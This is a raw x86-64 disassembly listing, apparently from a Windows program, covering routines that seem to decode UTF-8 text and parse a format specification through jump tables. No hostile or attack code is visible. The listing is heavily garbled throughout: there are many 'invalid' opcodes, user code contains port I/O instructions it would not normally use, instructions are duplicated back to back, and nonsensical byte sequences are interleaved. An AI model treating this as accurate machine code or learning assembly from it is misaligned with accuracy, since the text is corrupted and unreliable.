jb 0x1400230d8
cmp eax, 0x10000
mov r8d, 4
sbb r8, 0
mov rdx, rbx
sub rdx, r8
jbe 0x1400230ec
cmp byte [r12 + r8], 0xbf
jg 0x1400230f2
jmp 0x140025d8c
jne 0x140025d8c
add r12, r8
mov r9b, 1
mov r11b, 3
xor edi, edi
cmp eax, 0x2f
jg 0x140023122
cmp eax, 0x23
je 0x140023143
mov r10d, 0
cmp eax, 0x2d
jne 0x14002313b
cmp rbx, r8
jne 0x14002315d
xor r13d, r13d
mov rbx, rdx
jmp 0x140023295
cmp eax, 0x5f
je 0x140023153
cmp eax, 0x30
jne 0x14002313b
mov r10b, 1
xor edi, edi
mov r9b, 1
cmp rbx, r8
je 0x140023117
jmp 0x14002315d
mov rbx, rdx
jmp 0x140023254
mov r10b, 3
mov dil, 1
xor r9d, r9d
cmp rbx, r8
jne 0x14002315d
jmp 0x140023117
mov r10b, 2
xor edi, edi
cmp rbx, r8
je 0x140023117
invalid
mov edx, 0x1cb60f41
and al, 0xf
mov dh, 0xc3
movzx ebx, byte [r12]
movzx eax, bl
test al, al
js 0x140023174
mov r8d, 1
jmp 0x140023204
mov r8d, eax
and r8d, 0x1f
movzx ebp, byte [r12 + 1]
and ebp, 0x3f
cmp al, 0xdf
jbe 0x1400231c5
movzx r11d, byte [r12 + 2]
shl ebp, 6
and r11d, 0x3f
or r11d, ebp
cmp bl, 0xf0
jb 0x1400231d1
movzx eax, byte [r12 + 3]
and r8d, 7
shl r8d, 0x12
shl r11d, 6
and eax, 0x3f
or eax, r11d
or eax, r8d
cmp eax, 0x110000
je 0x140023117
jmp 0x1400231db
shl r8d, 6
or r8d, ebp
mov eax, r8d
jmp 0x1400231db
shl r8d, 0xc
or r11d, r8d
mov eax, r11d
mov r8d, 1
cmp eax, 0x80
jb 0x140023204
mov r8d, 2
cmp eax, 0x800
jb 0x140023204
cmp eax, 0x10000
mov r8d, 4
sbb r8, 0
mov rbx, rdx
sub rbx, r8
jbe 0x140023218
cmp byte [r12 + r8], 0xbf
jg 0x14002321e
sbb ch, byte [rax + rax]
add byte [rdi], cl
test dword [rsp + rbp], edx
add byte [rax], al
add r12, r8
test dil, dil
je 0x14002324e
jne 0x140025e32
cmp eax, 0x7a
jne 0x140023292
mov word [rsp + 0x48], 5
mov sil, 6
xor r13d, r13d
test r9b, r9b
mov qword [rsp + 0x28], r12
je 0x140023387
mov r11d, r10d
jmp 0x140023ba7
mov edi, r9d
mov r11d, r10d
add eax, 0xffffffdb
cmp eax, 0x55
ja case.0x14002326e.38
lea rcx, [0x1400e68a0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rsp + 0x49], 4
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
xor r13d, r13d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0xb8], r15
movzx r8d, byte [rsp + 0x84]
lea r9, [rsp + 0xc3]
mov byte [r9 + 4], r8b
mov r8d, dword [rsp + 0x80]
mov dword [r9], r8d
mov byte [rsp + 0xc0], cl
mov byte [rsp + 0xc1], al
mov byte [rsp + 0xc2], r14b
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rdx
mov r15, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
movzx r12d, cl
lea rdx, [0x1400e69f8]
movsxd rcx, dword [rdx + r12*4]
add rcx, rdx
mov rdi, rbx
jmp rcx
mov rax, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
sub rax, rsi
cmp rax, rbp
jb 0x140023370
mov rcx, qword [rsp + 0x30]
add rcx, rsi
mov rdx, r15
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
add byte [rax + 1], cl
out dx, al
add byte [rax + 1], cl
out dx, al
mov qword [rsp + 0x40], rsi
cmp r12b, 3
je 0x140023350
invalid
or eax, 0xc4b60f41
movzx eax, r12b
cmp eax, 1
jne 0x140022a63
test rbp, rbp
in eax, dx
je 0x140022a63
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r15
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140022a63
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8, rbp
call fcn.1400a5460
mov rsi, qword [rsp + 0x40]
jmp 0x140023322
mov cl, 5
xor eax, eax
jmp 0x140023ef7
mov byte [rsp + 0x49], 0x11
mov cl, 4
mov al, 0x11
jmp 0x140023965
mov word [rsp + 0x48], 0xf04
mov cl, 4
mov al, 0xf
jmp 0x140023945
mov qword [rsp + 0x28], r12
lea rdx, [0x1400e05b7]
jmp 0x14002383a
mov byte [rsp + 0x49], 9
mov sil, 6
invalid
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
invalid
mov word [rsp + 0x48], 0xc04
mov cl, 4
mov al, 0xc
jmp 0x140023860
mov byte [rsp + 0x48], 4
mov r13d, 4
add al, 0x41
mov ebp, 4
lea r15, [0x1400ce878]
test dil, dil
jne 0x1400238a6
mov qword [rsp + 0x28], r12
and al, 0x28
mov qword [rsp + 0xb8], r15
add byte [rax], al
mov cl, 4
mov al, 7
jmp 0x140023952
mov qword [rsp + 0x28], r12
lea rdx, str._assertion_failed:_nextspec___0
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov byte [rsp + 0x48], 0
mov sil, 6
xor r13d, r13d
mov ecx, 0
jmp 0x140023b9e
and al, 0x48
add byte [rax - 0x4a], al
invalid
mov byte [rsp + 0x49], 0x16
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
mov cl, 5
mov al, 0x16
jmp 0x1400239e2
test rbx, rbx
je 0x1400234f7
mov dh, 4
and al, 0x41
movzx eax, al
rol byte [rax + rax*8 + 0x55e880f], 0
invalid
rol byte [rax + rax*8 + 0x55e880f], 0
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
jmp 0x140023cd7
test rbx, rbx
je 0x1400234f7
rol byte [rax + rax*8 + 0x594880f], 0
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
jmp 0x140023dc7
test rbx, rbx
je 0x1400234f7
rol byte [rax + rax*8 + 0x5ca880f], 0
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
jmp 0x140023e3e
test rbx, rbx
je 0x1400234f7
mov al, 6
xor r13d, r13d
movzx ecx, byte [rsp + 0x84]
lea rdx, [rsp + 0xc3]
ret
add byte [rax], al
add byte [rax - 0x7374fbb6], cl
and al, 0x80
add byte [rax], al
add byte [rcx + 0x2484880a], cl
rol byte [rax], 0
add byte [rax + 0xc12484], cl
add byte [rax], al
mov byte [rsp + 0xc2], al
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rax
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
loopne 0x1400235a1
lea eax, [0x1400e69f8]
ret
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xd0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
loopne 0x1400235a1
lea eax, [0x1400e69f8]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
mov rdi, rbx
jmp rcx
invalid
cmp rbx, 3
jae 0x140023995
add byte [rax - 0x7d], cl
sti
add cl, byte [rdi]
test ebx, ebx
add eax, 0xf410000
mov bh, 4
add al, 0x24
cmp eax, 0x7a3a
jne 0x1400239c1
invalid
add al, 0x24
cmp eax, 0x7a3a
jne 0x1400239c1
xor ebx, ebx
jmp 0x140023c24
fucomi st(1)
test dword [rsi], eax
add byte [rax], al
mov sil, 6
xor r13d, r13d
test dil, dil
invalid
mov qword [rsp + 0x28], r12
jne 0x1400238ea
mov cl, 5
mov al, 7
jmp 0x1400239e2
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
mov al, 5
mov cl, 5
jmp 0x140023ef7
mov qword [rsp + 0x28], r12
mov byte [rsp + 0x49], 1
add qword [r8 - 0x4a], rax
add al, 0xb0
add dword [rbp + 0x31], eax
in eax, dx
add qword [r8 - 0x4a], rax
add al, 0xb0
add dword [rbp + 0x31], eax
in eax, dx
mov r14b, 1
mov cl, 4
jmp 0x140023b9e
mov byte [rsp + 0x48], 4
mov r13d, 4
add byte [rax], al
add byte [rax], al
lea r15, [0x1400ce720]
test dil, dil
jne 0x1400238a6
xchg esi, eax
add al, byte [rax]
invalid
xchg esi, eax
add al, byte [rax]
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov qword [rsp + 0x28], r12
and al, 0x28
mov qword [rsp + 0xb8], r15
mov cl, 4
mov al, 6
jmp 0x14002397a
add byte [rax], al
add byte [rcx - 0x16f94ffc], dh
push rsp
add eax, dword [rax]
add dh, al
invalid
and al, 0x48
and al, 0x48
mov byte [rsp + 0x48], 4
mov r13d, 4
and al, 0x48
add al, 0x41
mov ebp, 4
lea r15, [0x1400ce780]
or al, byte [rax]
test dil, dil
jne 0x1400238a6
mov qword [rsp + 0x28], r12
mov qword [rsp + 0xb8], r15
mov cl, 4
mov r14b, 1
xor eax, eax
jmp 0x140023ef7
shr cl, 0x9d
or byte [rax], al
add dh, al
mov byte [rsp + 0x49], 3
mov cl, 4
mov al, 3
add ebp, ecx
mov byte [rsp + 0x49], 3
mov cl, 4
mov al, 3
add ebp, ecx
std
add al, byte [rax]
invalid
add ebp, ecx
std
add al, byte [rax]
add dh, al
and al, 0x49
invalid
mov byte [rsp + 0x49], 0xe
mov cl, 4
mov al, 0xe
invalid
jmp 0x140023965
invalid
mov byte [rsp + 0x49], 0xf
mov cl, 4
mov al, 0xf
jmp 0x140023965
mov byte [rsp + 0x49], 0x10
mov cl, 4
mov al, 0x10
jmp 0x140023965
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
mov cl, 5
mov al, 8
jmp 0x1400239e2
mov byte [rsp + 0x48], 4
mov r13d, 2
add byte [rax], al
add byte [rax], al
lea r15, [0x1400ce7e0]
jmp 0x1400236d5
mov byte [rsp + 0x48], 4
mov r13d, 4
lea r15, [0x1400ce810]
test dil, dil
jne 0x1400238a6
mov qword [rsp + 0x28], r12
mov qword [rsp + 0xb8], r15
mov cl, 4
mov al, 0xe
jmp 0x14002397a
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rsi - 0x39], ah
mov word [rsp + 0x48], 0x804
mov word [rsp + 0x48], 0x804
mov cl, 4
mov al, 8
jmp 0x140023965
mov word [rsp + 0x48], 0xa04
mov cl, 4
mov al, 0xa
jmp 0x140023965
mov word [rsp + 0x48], 0x904
mov cl, 4
mov al, 9
jmp 0x140023965
lea rdx, [0x1400cebf8]
adc eax, 0xab4cd
lea rcx, [rsp + 0x48]
mov esi, r11d
call fcn.14003cbc0
mov r11d, esi
mov r13d, 4
lea r15, [0x1400cec10]
jmp 0x14002389d
mov word [rsp + 0x48], 4
and al, 0x48
add al, 0
mov cl, 4
xor r13d, r13d
xor eax, eax
jmp 0x140023968
invalid
add dh, al
and al, 0x49
invalid
mov byte [rsp + 0x49], 0xe
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x28], esp
mov dword [rsp + 0x28], esp
jne 0x1400238ea
mov cl, 5
mov al, 0xe
jmp 0x1400239e2
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rdx, [0x1400ceac0]
lea rdx, [0x1400ceac0]
lea rcx, [rsp + 0x48]
mov esi, r11d
mov esi, ebx
mov esi, ebx
call fcn.14003cbc0
mov r11d, esi
mov r13d, 0xc
lea r15, [0x1400cead8]
jmp 0x14002389d
mov word [rsp + 0x48], 0x704
mov cl, 4
mov al, 7
jmp 0x140023965
mov word [rsp + 0x48], 0x704
mov cl, 4
mov al, 7
invalid
jmp 0x140023945
invalid
mov word [rsp + 0x48], 0x504
mov cl, 4
mov al, 5
jmp 0x140023965
mov word [rsp + 0x48], 0xd04
mov cl, 4
mov al, 0xd
jmp 0x140023965
mov word [rsp + 0x48], 0x604
mov cl, 4
mov al, 6
jmp 0x140023965
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400cec70]
lea rcx, [rsp + 0x48]
mov esi, r11d
call fcn.14003cbc0
mov r11d, esi
mov r13d, 6
lea r15, [0x1400cec88]
or al, byte [rax]
or al, byte [rax]
jmp 0x14002389d
mov word [rsp + 0x48], 0x1304
mov cl, 4
mov al, 0x13
jmp 0x140023860
mov qword [rsp + 0x28], r12
lea rdx, [0x1400ce870]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], 1
mov cl, 2
mov sil, 6
xor r13d, r13d
jmp 0x140023b9e
mov word [rsp + 0x48], 0xb04
mov cl, 4
mov al, 0xb
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x140023972
lea rdx, [0x1400cea48]
lea rcx, [rsp + 0x48]
mov esi, r11d
call fcn.14003cbc0
mov r11d, esi
mov r13d, 4
add byte [rax], al
add byte [rbp + rcx*4 + 0x3d], cl
ret
mov cl, 0xa
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x3d], cl
ret
test dil, dil
je 0x140025a4f
movzx ecx, byte [rsp + 0x48]
mov sil, 6
cmp cl, 1
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0x28], r12
je 0x1400238c8
movzx eax, cl
cmp eax, 3
jne 0x1400238ea
cmp qword [rsp + 0x58], 0
je 0x1400238ea
mov r8, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov edi, r11d
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11d, edi
jmp 0x140023ba7
mov byte [rsp + 0x49], 0x13
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x28], esp
mov dword [rsp + 0x28], esp
jne 0x1400238ea
mov cl, 5
mov al, 0x13
jmp 0x1400239e2
mov byte [rsp + 0x49], 6
mov al, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
je 0x1400239e0
mov dh, 6
jmp 0x140023ba7
mov word [rsp + 0x48], 0x1204
mov cl, 4
mov al, 0x12
jmp 0x140023965
mov word [rsp + 0x48], 0xe04
mov cl, 4
mov al, 0xe
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x140023972
mov r14b, 2
jmp 0x140023ef7
mov word [rsp + 0x48], 0x204
mov cl, 4
mov al, 2
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
and al, 0x28
and al, 0x28
je 0x14002397a
mov sil, 4
jmp 0x140023ba7
mov r14b, 1
jmp 0x140023ef7
mov qword [rsp + 0x28], r12
mov sil, 6
mov r13d, 0
jmp 0x140023b9c
cmp byte [r12], 0x7a
jne 0x140023b91
cmp byte [r12 + 1], 0xbf
jle 0x140025eaf
dec rbx
jmp 0x140023b6c
jmp 0x140023ef7
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [r12 + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x140023c4c
movzx edx, byte [r12 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140023ca7
movzx eax, byte [r12 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
jne 0x140023cae
jmp 0x140023b3a
mov qword [rsp + 0x28], r12
jmp 0x1400234fe
inc r12
mov byte [rsp + 0x49], 0xf
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
mov cl, 5
mov al, 0xf
jmp 0x1400239e2
mov qword [rsp + 0x28], r12
mov sil, 6
xor r13d, r13d
mov cl, 6
test dil, dil
je 0x140023ef7
movzx ecx, byte [rsp + 0x84]
lea rdx, [rsp + 0xc3]
mov byte [rdx + 4], cl
mov ecx, dword [rsp + 0x80]
mov dword [rdx], ecx
mov byte [rsp + 0xc0], sil
mov byte [rsp + 0xc1], al
mov byte [rsp + 0xc2], r11b
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], rax
mov r15, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
movzx r12d, sil
lea rdx, [0x1400e69f8]
movsxd rcx, dword [rdx + r12*4]
add rcx, rdx
mov rdi, rbx
mov r14d, r11d
jmp rcx
add r12, 2
mov word [rsp + 0x48], 0x1005
mov sil, 6
xor r13d, r13d
test dil, dil
mov qword [rsp + 0x28], r12
jne 0x1400238ea
mov cl, 5
mov al, 0x10
jmp 0x1400239e2
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x140023cae
shl ecx, 0xc
or edx, ecx
mov eax, edx
mov r8d, 1
cmp eax, 0x80
jb 0x140023cd7
mov r8d, 2
cmp eax, 0x800
jb 0x140023cd7
cmp eax, 0x10000
mov r8d, 4
sbb r8, 0
mov rdx, rbx
sub rdx, r8
jbe 0x140023ceb
cmp byte [r12 + r8], 0xbf
jg 0x140023cf1
jmp 0x140025e7f
jne 0x140025e7f
add r12, r8
cmp eax, 0x38
jg 0x140023d24
cmp eax, 0x33
je 0x140023d3c
cmp eax, 0x36
jne 0x140023d6f
cmp rbx, r8
je 0x140023d62
movzx r9d, byte [r12]
movzx eax, r9b
test al, al
js 0x1400257b4
mov r8d, 1
jmp 0x140025939
cmp eax, 0x39
je 0x140023d5d
cmp eax, 0x66
jne 0x140023d6f
mov word [rsp + 0x48], 0xa05
mov cl, 5
jmp 0x140025a40
cmp rbx, r8
je 0x140023d62
movzx r9d, byte [r12]
movzx eax, r9b
test al, al
js 0x140025816
mov r8d, 1
jmp 0x1400259a7
cmp rbx, r8
jne 0x140023d7b
mov qword [rsp + 0x28], r12
mov rbx, rdx
jmp 0x1400234fe
mov byte [rsp + 0x48], 6
mov cl, 6
jmp 0x140025a40
add byte [rax], al
add byte [rax], al
movzx r9d, byte [r12]
movzx eax, r9b
test al, al
js 0x140025875
mov r8d, 1
jmp 0x140025a0e
mov r9, rbx
sub r9, r8
jbe 0x140023ddb
cmp byte [r12 + r8], 0xbf
add al, 0xbf
jg 0x140023de1
jmp 0x140025e8b
jne 0x140025e8b
mov cl, 6
cmp eax, 0x66
jne 0x140023def
mov byte [rsp + 0x49], 1
mov cl, 5
add r12, r8
mov byte [rsp + 0x48], cl
xor r13d, r13d
test dil, dil
jne 0x140023ee5
mov qword [rsp + 0x28], r12
and al, 0x28
mov al, 1
jmp 0x140023ef4
out 0, al
add byte [rax], al
out 0, al
add byte [rax], al
shl ecx, 0xc
or edx, ecx
retf 0xd089
mov r8d, 1
cmp eax, 0x80
add byte [rdx + 0x1c], dh
retf 0xd089
add byte [rdx + 0x1c], dh
mov r8d, 2
mov eax, 2
cmp eax, 0x800
jb 0x140023e3e
cmp eax, 0x10000
mov r8d, 4
add byte [rcx], al
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
sbb r8, 0
mov r9, rbx
sub r9, r8
jbe 0x140023e52
cmp byte [r12 + r8], 0xbf
jg 0x140023e58
jmp 0x140025e97
jne 0x140025e97
mov cl, 6
cmp eax, 0x66
jne 0x140023e66
mov byte [rsp + 0x49], 2
mov cl, 5
add r12, r8
mov byte [rsp + 0x48], cl
xor r13d, r13d
in eax, dx
in eax, dx
test dil, dil
jne 0x140023ee5
mov qword [rsp + 0x28], r12
mov al, 2
jmp 0x140023ef4
test bh, bh
je 0x140023eed
mov rbx, r9
jmp 0x1400238ab
mov qword [rsp + 0x28], r12
mov al, 3
mov rbx, r9
lea r9, [rsp + 0x4b]
movzx r8d, byte [r9 + 4]
mov byte [rsp + 0x84], r8b
mov r8d, dword [r9]
mov dword [rsp + 0x80], r8d
movzx r8d, byte [rsp + 0x84]
lea r9, [rsp + 0xc3]
mov byte [r9 + 4], r8b
mov r8d, dword [rsp + 0x80]
add byte [rax], 0
add byte [rbp - 0x77], al
add dword [rax + 0xc0248c], ecx
add byte [rax], al
add byte [rax], 0
add byte [rbp - 0x77], al
add dword [rax + 0xc0248c], ecx
add byte [rax], al
mov byte [rsp + 0xc1], al
mov byte [rsp + 0xc2], r14b
mov qword [rsp + 0xc8], rdx
mov edx, 1
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rdx + 1], bh
mov qword [rsp + 0xd0], rdx
mov r15, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
movzx r12d, cl
lea rdx, [0x1400e69f8]
movsxd rcx, dword [rdx + r12*4]
add rcx, rdx
mov rdi, rbx
jmp rcx
mov ebx, 2
movzx eax, al
lea rdx, [0x1400e6a74]
movsxd rcx, dword [rdx + rax*4]
add rcx, rdx
movzx esi, r14b
mov eax, dword [rsp + 0x104]
jmp rcx
mov rax, qword [rsp + 0x258]
jmp 0x140024af9
lea ecx, [rax - 4]
movzx ecx, cl
cmp cl, 0x13
adc edi, dword [rdx + 0x13]
adc edi, dword [rdx + 0x13]
cmovae ecx, edx
movzx edx, cl
lea r8, [0x1400e6a14]
movsxd rdx, dword [r8 + rdx*4]
adc al, 0x90
retf 0xb60f
adc al, 0x90
add rdx, r8
jmp rdx
ret 0xe2ff
cmp qword [rsp + 0x108], 0
je case.0x140024c87.0
or al, 0x1d
add byte [rax], al
add byte [rdi], cl
test byte [rbx - 0x6800000], cl
or al, 0x1d
add byte [rax], al
cmp cl, 0xe
or al, 0x1d
add byte [rax], al
cmp cl, 0xe
mov byte [rsp + 0x49], 1
jmp 0x14002400a
add r11, rbp
invalid
cmp qword [rsp + 0x108], 0
je case.0x140024c87.0
add byte [rax + 0x44c610f9], al
and al, 0x49
add cl, byte [rdi]
xchg esp, eax
and al, 0x48
cmp cl, 0x10
mov byte [rsp + 0x49], 2
sete byte [rsp + 0x48]
mov word [rsp + 0x4a], 0x101
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x30]
xor r8d, r8d
call fcn.140010680
test al, al
je 0x140022a63
invalid
jmp case.0x140024c87.0
sbb al, 0
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x298]
jmp 0x140024af9
or al, byte [rax]
invalid
mov rax, qword [rsp + 0x298]
jmp 0x140024af9
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x218]
jmp 0x140024af9
mov ebx, 1
mov rax, qword [rsp + 0x218]
jmp 0x140024af9
mov ebx, 1
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add al, byte [rax]
add cl, ch
cwde
or al, byte [rax]
add byte [rbx + 0x104248c], cl
mov ecx, dword [rsp + 0x104]
mov rax, qword [rsp + 0x280]
jmp 0x140024af9
mov ecx, dword [rsp + 0x104]
mov rdx, qword [rsp + 0xf8]
call fcn.14003ca80
sar eax, 0xa
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
add ecx, edx
imul edx, ecx, 0x64
shl dword [rcx + rbp - 0x30], 1
shl dword [rcx + rbp - 0x30], 1
sar eax, 0x1f
add eax, ecx
cdqe
jmp 0x140024af9
invalid
mov ebx, 1
mov rax, qword [rsp + 0x278]
jmp 0x140024af9
mov ebx, 0x110003
mov rsi, qword [rsp + 0x268]
mov edx, dword [rsp + 0x100]
jmp 0x1400240f9
movd xmm1, eax
punpcklqdq xmm1, xmm0
shufps xmm1, xmm6, 0xe2
movaps xmm6, xmm1
movd edx, xmm6
pshufd xmm0, xmm6, 0x55
movd dword [rsp + 0x118], xmm0
mov bl, cl
or ebx, 0x110000
cmp ebx, 0x110003
je 0x140024121
lea ecx, [rbx - 0x110000]
lea rax, [rcx + 1]
cmp ecx, 3
mov ecx, 0
add byte [rax], al
add byte [rax], al
cmovae rax, rcx
cmp rax, 3
jne case.0x140023f84.40
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
add dword [rdx], eax
add byte [rax], al
test rsi, rsi
je 0x14002432b
cmp rsi, qword [rsp + 0x190]
je 0x14002432b
movzx r9d, byte [rsi]
movzx eax, r9b
test al, al
js 0x140024190
inc rsi
lea ecx, [rax - 0x41]
xor edx, edx
cmp cl, 0x1a
setb dl
shl edx, 5
or edx, eax
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x4c], 0
xor eax, eax
xor ebx, ebx
movss xmm0, dword [rsp + 0x48]
test eax, eax
sete cl
jne 0x1400240d0
movss xmm6, xmm0
jmp 0x1400240df
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x1fe183c1], cl
mov ecx, eax
and ecx, 0x1f
movzx r10d, byte [rsi + 1]
and r10d, 0x3f
cmp al, 0xdf
jbe 0x1400241ea
movzx r8d, byte [rsi + 2]
shl r10d, 6
loop 0x1400241b1
loop 0x1400241b1
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140024202
rol byte [rcx - 0x80], 1
stc
invalid
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
loopne 0x1400241cc
loopne 0x1400241cc
and eax, 0x3f
or eax, r8d
or eax, ecx
cmp eax, 0x110000
je 0x14002432b
add rsi, 4
cmp eax, 0x80
jb 0x140024147
mov byte [rdi + 0x80], 0xf
invalid
jmp 0x14002421a
add rsi, 2
shl ecx, 6
or ecx, r10d
mov eax, ecx
cmp eax, 0x80
jae 0x14002421a
jmp 0x140024147
add rsi, 3
shl ecx, 0xc
or r8d, ecx
mov eax, r8d
cmp eax, 0x80
jb 0x140024147
mov ecx, 0x57f
xor r8d, r8d
mov edx, 0x57f
jmp 0x140024238
mov rdx, rcx
sub rcx, r8
jbe 0x14002427b
shr rcx, 1
add rcx, r8
xor r9d, r9d
lea r10, [0x1400d1548]
cmp dword [r10 + rcx*8], eax
setne r9b
mov r10d, 0xff
cmovb r9d, r10d
cmp r9b, 1
je 0x140024230
movzx r8d, r9b
cmp r8d, 0xff
jne 0x140024284
inc rcx
mov r8, rcx
mov rcx, rdx
sub rcx, r8
ja 0x140024238
mov dword [rsp + 0x48], eax
jmp 0x14002415b
lea rax, [0x1400d1548]
mov ecx, dword [rax + rcx*8 + 4]
mov eax, ecx
xor eax, 0xd800
add al, bl
add byte [rax], al
add al, bl
add byte [rax], al
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp ecx, 0x110000
sete dl
or dl, al
mov eax, 0
mov edx, 0x307
cmovne rax, rdx
mov edx, 0x69
cmovne ecx, edx
mov dword [rsp + 0x48], ecx
and al, 0x48
and al, 0x48
mov qword [rsp + 0x4c], rax
jmp 0x140024165
jmp 0x140024165
test rax, rax
je 0x1400242f2
cmp rax, 1
jne 0x140024310
mov ebx, 0x110001
mov eax, dword [rsp + 0x118]
add byte [rbx + 0x1182484], cl
add byte [rax], al
mov dword [rsp + 0x100], eax
add byte [rax], al
jmp 0x14002431c
mov eax, dword [rsp + 0x118]
mov dword [rsp + 0x100], eax
mov eax, ebx
mov dword [rsp + 0x118], ebx
mov ebx, 0x110000
jmp 0x14002431c
mov ebx, 0x110002
mov dword [rsp + 0x100], edx
lea rcx, [rsp + 0x30]
call fcn.14000c890
jmp 0x1400240be
mov dword [rsp + 0x100], edx
cmp r12b, 3
jne 0x140023343
invalid
invalid
invalid
add byte [rcx - 0x80], al
cld
add ecx, dword [rdi]
test dword [rdi], eax
invalid
jmp 0x140023350
invalid
invalid
mov rax, qword [rsp + 0x2a0]
jmp 0x140024af9
mov rax, qword [rsp + 0x180]
jmp 0x140024af9
cmp dword [rsp + 0x170], 6
and al, 0x70
add dword [rax], eax
add byte [rsi], al
ja 0x140025ccb
mov rax, qword [rsp + 0x210]
add byte [rax], al
mov rsi, qword [rax]
jmp 0x140024586
invalid
add byte [rax - 0x75], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rcx + 0xb02484], cl
add byte [rax], al
mov rax, qword [rsp + 0x148]
mov dword [rsp + 0xb0], eax
mov rdx, qword [rsp + 0x40]
cmp qword [rsp + 0x38], rdx
push rsp
and al, 0x38
push rsp
and al, 0x38
je 0x14002568e
not byte [rdx]
add byte [rax], al
lea r8, fcn.1400093b0
lea rsi, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x2e
adc byte [rsi], ch
inc rdx
mov qword [rsp + 0x40], rdx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], 9
jmp 0x140024a1a
mov ecx, dword [rsp + 0x104]
mov rdx, qword [rsp + 0xf8]
call fcn.14003ca80
sar eax, 0xa
cdqe
mov qword [rsp + 0x138], 4
mov qword [rsp + 0x110], rax
cmp eax, 0x270f
lea rdx, fcn.1400093b0
jbe 0x140024b10
test r14b, r14b
je 0x140025029
cmp esi, 2
jne 0x1400250cc
mov qword [rsp + 0xb0], 5
mov dword [rsp + 0xb0], 5
lea rax, [rsp + 0x110]
mov qword [rsp + 0xd8], rax
lea rax, [0x140045be0]
lea eax, [0x140045be0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xb0]
lea eax, [rsp + 0xb0]
lea eax, [rsp + 0xb0]
mov qword [rsp + 0xe8], rax
